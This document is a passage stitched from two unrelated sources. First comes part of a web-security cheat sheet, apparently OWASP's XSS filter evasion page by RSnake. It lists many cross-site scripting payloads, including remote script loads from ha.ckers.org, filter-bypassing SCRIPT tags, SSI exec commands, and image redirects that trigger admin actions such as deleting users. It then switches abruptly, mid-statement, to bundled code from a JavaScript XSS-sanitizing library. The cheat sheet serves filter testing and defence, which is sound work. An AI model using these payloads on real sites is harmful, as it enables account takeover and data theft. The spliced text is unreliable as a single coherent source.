Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

HTML+TIME in XML

+

This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work: +

+
<HTML><BODY>
+<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
+<?import namespace="t" implementation="#default#time2">
+<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
+</BODY></HTML>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Assuming you can only fit in a few characters and it filters against ".js"

+

you can rename your JavaScript file to an image as an XSS vector: +

+
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

SSI (Server Side Includes)

+

This requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues: +

+
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

PHP

+

Requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues: +

+
<? echo('<SCR)';
+echo('IPT>alert("XSS")</SCRIPT>'); ?>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

IMG Embedded commands

+

This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors: +

+
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

IMG Embedded commands part II

+

This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this): +

+
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Cookie manipulation

+

Admittidly this is pretty obscure but I have seen a few examples where <META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...): +

+
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +


+

+

UTF-7 encoding

+

If the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.: +

+
 <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

XSS using HTML quote encapsulation

+

This was tested in IE, your mileage may vary. For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter "/<script[^>]+src/i": +

+
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

For performing XSS on sites that allow "<SCRIPT>" but don't allow "<script src..." by way of a regex filter "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" (this is an important one, because I've seen this regex in the wild): +

+
<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +


+Another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i": +

+
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

Yet another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i". I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow <SCRIPT> tags but not remote script is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags): +

+
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +


+And one last XSS attack to evade, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" using grave accents (again, doesn't work in Firefox): +

+
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +


+Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly: +

+
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+
+

This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content: +

+
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

URL string evasion

+

Assuming "http://www.google.com/" is pro grammatically disallowed: +

+

IP verses hostname

+
<A HREF="http://66.102.7.147/">XSS</A>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

URL encoding

+
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Dword encoding

+

(Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details): +

+
<A HREF="http://1113982867/">XSS</A>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Hex encoding

+

The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required): +

+
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Octal encoding

+

Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...: +

+
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Mixed encoding

+

Let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes: +

+
<A HREF="h
+tt	p://6	6.000146.0x7.147/">XSS</A>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

=== Protocol resolution bypass === (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL. +

+
<A HREF="//www.google.com/">XSS</A>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Google "feeling lucky" part 1.

+

Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatinate several keywords by using something like the following "keyword:XSS+RSnake" for instance. This no longer works within Firefox as of 2.0. +

+
<A HREF="//google">XSS</A>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Google "feeling lucky" part 2.

+

This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0: +

+
<A HREF="http://ha.ckers.org@google">XSS</A>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Google "feeling lucky" part 3.

+

This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"): +

+
<A HREF="http://google:ha.ckers.org">XSS</A>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Removing cnames

+

When combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly): +

+
<A HREF="http://google.com/">XSS</A>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Extra dot for absolute DNS:

+
<A HREF="http://www.google.com./">XSS</A>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

JavaScript link location:

+
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Content replace as attack vector

+

Assuming "http://www.google.com/" is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: "java&#x09;script:" was converted into "java script:", which renders in IE, Netscape 8.1+ in secure site mode and Opera): +

+
<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>
+
+

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] +

+

Character Encoding

+

All the possible combinations of the character "<" in HTML and JavaScript (in UTF-8). Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above (standards are great, aren't they?): +

+
<
+%3C
+&lt
+<
+&LT
+&LT;
+&#60
+&#060
+&#0060
+&#00060
+&#000060
+&#0000060
+<
+<
+<
+<
+<
+<
+&#x3c
+&#x03c
+&#x003c
+&#x0003c
+&#x00003c
+&#x000003c
+<
+<
+<
+<
+<
+<
+&#X3c
+&#X03c
+&#X003c
+&#X0003c
+&#X00003c
+&#X000003c
+<
+<
+<
+<
+<
+<
+&#x3C
+&#x03C
+&#x003C
+&#x0003C
+&#x00003C
+&#x000003C
+<
+<
+<
+<
+<
+<
+&#X3C
+&#X03C
+&#X003C
+&#X0003C
+&#X00003C
+&#X000003C
+<
+<
+<
+<
+<
+<
+\x3c
+\x3C
+\u003c
+\u003C
+
+

IP Obfuscation Calculator

+

This following is a simple calculator for doing basic transformation functions that are regularly useful for XSS. +

http://ha.ckers.org/xsscalc.html +

+

Browser support reference table

+ + + + + + + + + + + + + + + + + + + + + + + + + + +

Note: if a vector is not marked it either does not work or it is untested. +

+

Authors and Primary Editors

+

Robert "RSnake" Hansen from www.fallingrocknetworks.com +

+

Other Cheatsheets

+

OWASP Cheat Sheets Project Homepage +

+ +

Developer Cheat Sheets (Builder) +

+ +

Assessment Cheat Sheets (Breaker) +

+ +

Mobile Cheat Sheets +

+ +

Draft Cheat Sheets +

+ + + + + +
+ + + + + +
+ + +
+ +
+ + +
+ + +
+
Personal tools
+ +
+ + +
+ + +
+
Namespaces
+ +
+ + + + +
+
Variants
+ +
+ + +
+
+ + +
+
Views
+ +
+ + + + +
+
Actions
+ +
+ + + + + + + +
+
+ + + + + + + + + + + + + + + + + + + + + +/g; + +/** + * 去除不可见字符 + * + * @param {String} html + * @return {String} + */ +function stripBlankChar (html) { + var chars = html.split(''); + chars = chars.filter(function (char) { + var c = char.charCodeAt(0); + if (c === 127) return false; + if (c <= 31) { + if (c === 10 || c === 13) return true; + return false; + } + return true; + }); + return chars.join(''); +} + + +exports.whiteList = getDefaultWhiteList(); +exports.getDefaultWhiteList = getDefaultWhiteList; +exports.onTag = onTag; +exports.onIgnoreTag = onIgnoreTag; +exports.onTagAttr = onTagAttr; +exports.onIgnoreTagAttr = onIgnoreTagAttr; +exports.safeAttrValue = safeAttrValue; +exports.escapeHtml = escapeHtml; +exports.escapeQuote = escapeQuote; +exports.unescapeQuote = unescapeQuote; +exports.escapeHtmlEntities = escapeHtmlEntities; +exports.escapeDangerHtml5Entities = escapeDangerHtml5Entities; +exports.clearNonPrintableCharacter = clearNonPrintableCharacter; +exports.friendlyAttrValue = friendlyAttrValue; +exports.escapeAttrValue = escapeAttrValue; +exports.onIgnoreTagStripAll = onIgnoreTagStripAll; +exports.StripTagBody = StripTagBody; +exports.stripCommentTag = stripCommentTag; +exports.stripBlankChar = stripBlankChar; +exports.cssFilter = defaultCSSFilter; +exports.getDefaultCSSWhiteList = getDefaultCSSWhiteList; + +},{"./util":4,"cssfilter":8}],2:[function(require,module,exports){ +/** + * 模块入口 + * + * @author 老雷 + */ + +var DEFAULT = require('./default'); +var parser = require('./parser'); +var FilterXSS = require('./xss'); + + +/** + * XSS过滤 + * + * @param {String} html 要过滤的HTML代码 + * @param {Object} options 选项:whiteList, onTag, onTagAttr, onIgnoreTag, onIgnoreTagAttr, safeAttrValue, escapeHtml + * @return {String} + */ +function filterXSS (html, options) { + var xss = new FilterXSS(options); + return xss.process(html); +} + + +// 输出 +exports = module.exports = filterXSS; +exports.FilterXSS = FilterXSS; +for (var i in DEFAULT) exports[i] = DEFAULT[i]; +for (var i in parser) exports[i] = parser[i]; + + +// 在浏览器端使用 +if (typeof window !== 'undefined') { + window.filterXSS = module.exports; +} + +},{"./default":1,"./parser":3,"./xss":5}],3:[function(require,module,exports){ +/** + * 简单 HTML Parser + * + * @author 老雷 + */ + +var _ = require('./util'); + +/** + * 获取标签的名称 + * + * @param {String} html 如:'' + * @return {String} + */ +function getTagName (html) { + var i = html.indexOf(' '); + if (i === -1) { + var tagName = html.slice(1, -1); + } else { + var tagName = html.slice(1, i + 1); + } + tagName = _.trim(tagName).toLowerCase(); + if (tagName.slice(0, 1) === '/') tagName = tagName.slice(1); + if (tagName.slice(-1) === '/') tagName = tagName.slice(0, -1); + return tagName; +} + +/** + * 是否为闭合标签 + * + * @param {String} html 如:'' + * @return {Boolean} + */ +function isClosing (html) { + return (html.slice(0, 2) === '') { + rethtml += escapeHtml(html.slice(lastPos, tagStart)); + currentHtml = html.slice(tagStart, currentPos + 1); + currentTagName = getTagName(currentHtml); + rethtml += onTag(tagStart, + rethtml.length, + currentTagName, + currentHtml, + isClosing(currentHtml)); + lastPos = currentPos + 1; + tagStart = false; + continue; + } + // HTML标签内的引号仅当前一个字符是等于号时才有效 + if ((c === '"' || c === "'") && html.charAt(currentPos - 1) === '=') { + quoteStart = c; + continue; + } + } else { + if (c === quoteStart) { + quoteStart = false; + continue; + } + } + } + } + if (lastPos < html.length) { + rethtml += escapeHtml(html.substr(lastPos)); + } + + return rethtml; +} + +// 不符合属性名称规则的正则表达式 +var REGEXP_ATTR_NAME = /[^a-zA-Z0-9_:\.\-]/img; + +/** + * 分析标签HTML代码,调用相应的函数处理,返回HTML + * + * @param {String} html 如标签'' 则为 'href="#" target="_blank"' + * @param {Function} onAttr 处理属性值的函数 + * 函数格式: function (name, value) + * @return {String} + */ +function parseAttr (html, onAttr) { + 'user strict'; + + var lastPos = 0; // 当前位置 + var retAttrs = []; // 待返回的属性列表 + var tmpName = false; // 临时属性名称 + var len = html.length; // HTML代码长度 + + function addAttr (name, value) { + name = _.trim(name); + name = name.replace(REGEXP_ATTR_NAME, '').toLowerCase(); + if (name.length < 1) return; + var ret = onAttr(name, value || ''); + if (ret) retAttrs.push(ret); + }; + + // 逐个分析字符 + for (var i = 0; i < len; i++) { + var c = html.charAt(i); + var v, j; + if (tmpName === false && c === '=') { + tmpName = html.slice(lastPos, i); + lastPos = i + 1; + continue; + } + if (tmpName !== false) { + // HTML标签内的引号仅当前一个字符是等于号时才有效 + if (i === lastPos && (c === '"' || c === "'") && html.charAt(i - 1) === '=') { + j = html.indexOf(c, i + 1); + if (j === -1) { + break; + } else { + v = _.trim(html.slice(lastPos + 1, j)); + addAttr(tmpName, v); + tmpName = false; + i = j; + lastPos = i + 1; + continue; + } + } + } + if (c === ' ') { + if (tmpName === false) { + j = findNextEqual(html, i); + if (j === -1) { + v = _.trim(html.slice(lastPos, i)); + addAttr(v); + tmpName = false; + lastPos = i + 1; + continue; + } else { + i = j - 1; + continue; + } + } else { + j = findBeforeEqual(html, i - 1); + if (j === -1) { + v = _.trim(html.slice(lastPos, i)); + v = stripQuoteWrap(v); + addAttr(tmpName, v); + tmpName = false; + lastPos = i + 1; + continue; + } else { + continue; + } + } + } + } + + if (lastPos < html.length) { + if (tmpName === false) { + addAttr(html.slice(lastPos)); + } else { + addAttr(tmpName, stripQuoteWrap(_.trim(html.slice(lastPos)))); + } + } + + return _.trim(retAttrs.join(' ')); +} + +function findNextEqual (str, i) { + for (; i < str.length; i++) { + var c = str[i]; + if (c === ' ') continue; + if (c === '=') return i; + return -1; + } +} + +function findBeforeEqual (str, i) { + for (; i > 0; i--) { + var c = str[i]; + if (c === ' ') continue; + if (c === '=') return i; + return -1; + } +} + +function isQuoteWrapString (text) { + if ((text[0] === '"' && text[text.length - 1] === '"') || + (text[0] === '\'' && text[text.length - 1] === '\'')) { + return true; + } else { + return false; + } +}; + +function stripQuoteWrap (text) { + if (isQuoteWrapString(text)) { + return text.substr(1, text.length - 2); + } else { + return text; + } +}; + + +exports.parseTag = parseTag; +exports.parseAttr = parseAttr; + +},{"./util":4}],4:[function(require,module,exports){ +module.exports = { + indexOf: function (arr, item) { + var i, j; + if (Array.prototype.indexOf) { + return arr.indexOf(item); + } + for (i = 0, j = arr.length; i < j; i++) { + if (arr[i] === item) { + return i; + } + } + return -1; + }, + forEach: function (arr, fn, scope) { + var i, j; + if (Array.prototype.forEach) { + return arr.forEach(fn, scope); + } + for (i = 0, j = arr.length; i < j; i++) { + fn.call(scope, arr[i], i, arr); + } + }, + trim: function (str) { + if (String.prototype.trim) { + return str.trim(); + } + return str.replace(/(^\s*)|(\s*$)/g, ''); + } +}; + +},{}],5:[function(require,module,exports){ +/** + * 过滤XSS + * + * @author 老雷 + */ + +var FilterCSS = require('cssfilter').FilterCSS; +var DEFAULT = require('./default'); +var parser = require('./parser'); +var parseTag = parser.parseTag; +var parseAttr = parser.parseAttr; +var _ = require('./util'); + + +/** + * 返回值是否为空 + * + * @param {Object} obj + * @return {Boolean} + */ +function isNull (obj) { + return (obj === undefined || obj === null); +} + +/** + * 取标签内的属性列表字符串 + * + * @param {String} html + * @return {Object} + * - {String} html + * - {Boolean} closing + */ +function getAttrs (html) { + var i = html.indexOf(' '); + if (i === -1) { + return { + html: '', + closing: (html[html.length - 2] === '/') + }; + } + html = _.trim(html.slice(i + 1, -1)); + var isClosing = (html[html.length - 1] === '/'); + if (isClosing) html = _.trim(html.slice(0, -1)); + return { + html: html, + closing: isClosing + }; +} + +/** + * 浅拷贝对象 + * + * @param {Object} obj + * @return {Object} + */ +function shallowCopyObject (obj) { + var ret = {}; + for (var i in obj) { + ret[i] = obj[i]; + } + return ret; +} + +/** + * XSS过滤对象 + * + * @param {Object} options + * 选项:whiteList, onTag, onTagAttr, onIgnoreTag, + * onIgnoreTagAttr, safeAttrValue, escapeHtml + * stripIgnoreTagBody, allowCommentTag, stripBlankChar + * css{whiteList, onAttr, onIgnoreAttr} css=false表示禁用cssfilter + */ +function FilterXSS (options) { + options = shallowCopyObject(options || {}); + + if (options.stripIgnoreTag) { + if (options.onIgnoreTag) { + console.error('Notes: cannot use these two options "stripIgnoreTag" and "onIgnoreTag" at the same time'); + } + options.onIgnoreTag = DEFAULT.onIgnoreTagStripAll; + } + + options.whiteList = options.whiteList || DEFAULT.whiteList; + options.onTag = options.onTag || DEFAULT.onTag; + options.onTagAttr = options.onTagAttr || DEFAULT.onTagAttr; + options.onIgnoreTag = options.onIgnoreTag || DEFAULT.onIgnoreTag; + options.onIgnoreTagAttr = options.onIgnoreTagAttr || DEFAULT.onIgnoreTagAttr; + options.safeAttrValue = options.safeAttrValue || DEFAULT.safeAttrValue; + options.escapeHtml = options.escapeHtml || DEFAULT.escapeHtml; + this.options = options; + + if (options.css === false) { + this.cssFilter = false; + } else { + options.css = options.css || {}; + this.cssFilter = new FilterCSS(options.css); + } +} + +/** + * 开始处理 + * + * @param {String} html + * @return {String} + */ +FilterXSS.prototype.process = function (html) { + // 兼容各种奇葩输入 + html = html || ''; + html = html.toString(); + if (!html) return ''; + + var me = this; + var options = me.options; + var whiteList = options.whiteList; + var onTag = options.onTag; + var onIgnoreTag = options.onIgnoreTag; + var onTagAttr = options.onTagAttr; + var onIgnoreTagAttr = options.onIgnoreTagAttr; + var safeAttrValue = options.safeAttrValue; + var escapeHtml = options.escapeHtml; + var cssFilter = me.cssFilter; + + // 是否清除不可见字符 + if (options.stripBlankChar) { + html = DEFAULT.stripBlankChar(html); + } + + // 是否禁止备注标签 + if (!options.allowCommentTag) { + html = DEFAULT.stripCommentTag(html); + } + + // 如果开启了stripIgnoreTagBody + var stripIgnoreTagBody = false; + if (options.stripIgnoreTagBody) { + var stripIgnoreTagBody = DEFAULT.StripTagBody(options.stripIgnoreTagBody, onIgnoreTag); + onIgnoreTag = stripIgnoreTagBody.onIgnoreTag; + } + + var retHtml = parseTag(html, function (sourcePosition, position, tag, html, isClosing) { + var info = { + sourcePosition: sourcePosition, + position: position, + isClosing: isClosing, + isWhite: (tag in whiteList) + }; + + // 调用onTag处理 + var ret = onTag(tag, html, info); + if (!isNull(ret)) return ret; + + // 默认标签处理方法 + if (info.isWhite) { + // 白名单标签,解析标签属性 + // 如果是闭合标签,则不需要解析属性 + if (info.isClosing) { + return ''; + } + + var attrs = getAttrs(html); + var whiteAttrList = whiteList[tag]; + var attrsHtml = parseAttr(attrs.html, function (name, value) { + + // 调用onTagAttr处理 + var isWhiteAttr = (_.indexOf(whiteAttrList, name) !== -1); + var ret = onTagAttr(tag, name, value, isWhiteAttr); + if (!isNull(ret)) return ret; + + // 默认的属性处理方法 + if (isWhiteAttr) { + // 白名单属性,调用safeAttrValue过滤属性值 + value = safeAttrValue(tag, name, value, cssFilter); + if (value) { + return name + '="' + value + '"'; + } else { + return name; + } + } else { + // 非白名单属性,调用onIgnoreTagAttr处理 + var ret = onIgnoreTagAttr(tag, name, value, isWhiteAttr); + if (!isNull(ret)) return ret; + return; + } + }); + + // 构造新的标签代码 + var html = '<' + tag; + if (attrsHtml) html += ' ' + attrsHtml; + if (attrs.closing) html += ' /'; + html += '>'; + return html; + + } else { + // 非白名单标签,调用onIgnoreTag处理 + var ret = onIgnoreTag(tag, html, info); + if (!isNull(ret)) return ret; + return escapeHtml(html); + } + + }, escapeHtml); + + // 如果开启了stripIgnoreTagBody,需要对结果再进行处理 + if (stripIgnoreTagBody) { + retHtml = stripIgnoreTagBody.remove(retHtml); + } + + return retHtml; +}; + + +module.exports = FilterXSS; + +},{"./default":1,"./parser":3,"./util":4,"cssfilter":8}],6:[function(require,module,exports){ +/** + * cssfilter + * + * @author 老雷 + */ + +var DEFAULT = require('./default'); +var parseStyle = require('./parser'); +var _ = require('./util'); + + +/** + * 返回值是否为空 + * + * @param {Object} obj + * @return {Boolean} + */ +function isNull (obj) { + return (obj === undefined || obj === null); +} + +/** + * 浅拷贝对象 + * + * @param {Object} obj + * @return {Object} + */ +function shallowCopyObject (obj) { + var ret = {}; + for (var i in obj) { + ret[i] = obj[i]; + } + return ret; +} + +/** + * 创建CSS过滤器 + * + * @param {Object} options + * - {Object} whiteList + * - {Object} onAttr + * - {Object} onIgnoreAttr + */ +function FilterCSS (options) { + options = shallowCopyObject(options || {}); + options.whiteList = options.whiteList || DEFAULT.whiteList; + options.onAttr = options.onAttr || DEFAULT.onAttr; + options.onIgnoreAttr = options.onIgnoreAttr || DEFAULT.onIgnoreAttr; + this.options = options; +} + +FilterCSS.prototype.process = function (css) { + // 兼容各种奇葩输入 + css = css || ''; + css = css.toString(); + if (!css) return ''; + + var me = this; + var options = me.options; + var whiteList = options.whiteList; + var onAttr = options.onAttr; + var onIgnoreAttr = options.onIgnoreAttr; + + var retCSS = parseStyle(css, function (sourcePosition, position, name, value, source) { + + var check = whiteList[name]; + var isWhite = false; + if (check === true) isWhite = check; + else if (typeof check === 'function') isWhite = check(value); + else if (check instanceof RegExp) isWhite = check.test(value); + if (isWhite !== true) isWhite = false; + + var opts = { + position: position, + sourcePosition: sourcePosition, + source: source, + isWhite: isWhite + }; + + if (isWhite) { + + var ret = onAttr(name, value, opts); + if (isNull(ret)) { + return name + ':' + value; + } else { + return ret; + } + + } else { + + var ret = onIgnoreAttr(name, value, opts); + if (!isNull(ret)) { + return ret; + } + + } + }); + + return retCSS; +}; + + +module.exports = FilterCSS; + +},{"./default":7,"./parser":9,"./util":10}],7:[function(require,module,exports){ +/** + * cssfilter + * + * @author 老雷 + */ + +function getDefaultWhiteList () { + // 白名单值说明: + // true: 允许该属性 + // Function: function (val) { } 返回true表示允许该属性,其他值均表示不允许 + // RegExp: regexp.test(val) 返回true表示允许该属性,其他值均表示不允许 + // 除上面列出的值外均表示不允许 + var whiteList = {}; + + whiteList['align-content'] = false; // default: auto + whiteList['align-items'] = false; // default: auto + whiteList['align-self'] = false; // default: auto + whiteList['alignment-adjust'] = false; // default: auto + whiteList['alignment-baseline'] = false; // default: baseline + whiteList['all'] = false; // default: depending on individual properties + whiteList['anchor-point'] = false; // default: none + whiteList['animation'] = false; // default: depending on individual properties + whiteList['animation-delay'] = false; // default: 0 + whiteList['animation-direction'] = false; // default: normal + whiteList['animation-duration'] = false; // default: 0 + whiteList['animation-fill-mode'] = false; // default: none + whiteList['animation-iteration-count'] = false; // default: 1 + whiteList['animation-name'] = false; // default: none + whiteList['animation-play-state'] = false; // default: running + whiteList['animation-timing-function'] = false; // default: ease + whiteList['azimuth'] = false; // default: center + whiteList['backface-visibility'] = false; // default: visible + whiteList['background'] = true; // default: depending on individual properties + whiteList['background-attachment'] = true; // default: scroll + whiteList['background-clip'] = true; // default: border-box + whiteList['background-color'] = true; // default: transparent + whiteList['background-image'] = true; // default: none + whiteList['background-origin'] = true; // default: padding-box + whiteList['background-position'] = true; // default: 0% 0% + whiteList['background-repeat'] = true; // default: repeat + whiteList['background-size'] = true; // default: auto + whiteList['baseline-shift'] = false; // default: baseline + whiteList['binding'] = false; // default: none + whiteList['bleed'] = false; // default: 6pt + whiteList['bookmark-label'] = false; // default: content() + whiteList['bookmark-level'] = false; // default: none + whiteList['bookmark-state'] = false; // default: open + whiteList['border'] = true; // default: depending on individual properties + whiteList['border-bottom'] = true; // default: depending on individual properties + whiteList['border-bottom-color'] = true; // default: current color + whiteList['border-bottom-left-radius'] = true; // default: 0 + whiteList['border-bottom-right-radius'] = true; // default: 0 + whiteList['border-bottom-style'] = true; // default: none + whiteList['border-bottom-width'] = true; // default: medium + whiteList['border-collapse'] = true; // default: separate + whiteList['border-color'] = true; // default: depending on individual properties + whiteList['border-image'] = true; // default: none + whiteList['border-image-outset'] = true; // default: 0 + whiteList['border-image-repeat'] = true; // default: stretch + whiteList['border-image-slice'] = true; // default: 100% + whiteList['border-image-source'] = true; // default: none + whiteList['border-image-width'] = true; // default: 1 + whiteList['border-left'] = true; // default: depending on individual properties + whiteList['border-left-color'] = true; // default: current color + whiteList['border-left-style'] = true; // default: none + whiteList['border-left-width'] = true; // default: medium + whiteList['border-radius'] = true; // default: 0 + whiteList['border-right'] = true; // default: depending on individual properties + whiteList['border-right-color'] = true; // default: current color + whiteList['border-right-style'] = true; // default: none + whiteList['border-right-width'] = true; // default: medium + whiteList['border-spacing'] = true; // default: 0 + whiteList['border-style'] = true; // default: depending on individual properties + whiteList['border-top'] = true; // default: depending on individual properties + whiteList['border-top-color'] = true; // default: current color + whiteList['border-top-left-radius'] = true; // default: 0 + whiteList['border-top-right-radius'] = true; // default: 0 + whiteList['border-top-style'] = true; // default: none + whiteList['border-top-width'] = true; // default: medium + whiteList['border-width'] = true; // default: depending on individual properties + whiteList['bottom'] = false; // default: auto + whiteList['box-decoration-break'] = true; // default: slice + whiteList['box-shadow'] = true; // default: none + whiteList['box-sizing'] = true; // default: content-box + whiteList['box-snap'] = true; // default: none + whiteList['box-suppress'] = true; // default: show + whiteList['break-after'] = true; // default: auto + whiteList['break-before'] = true; // default: auto + whiteList['break-inside'] = true; // default: auto + whiteList['caption-side'] = false; // default: top + whiteList['chains'] = false; // default: none + 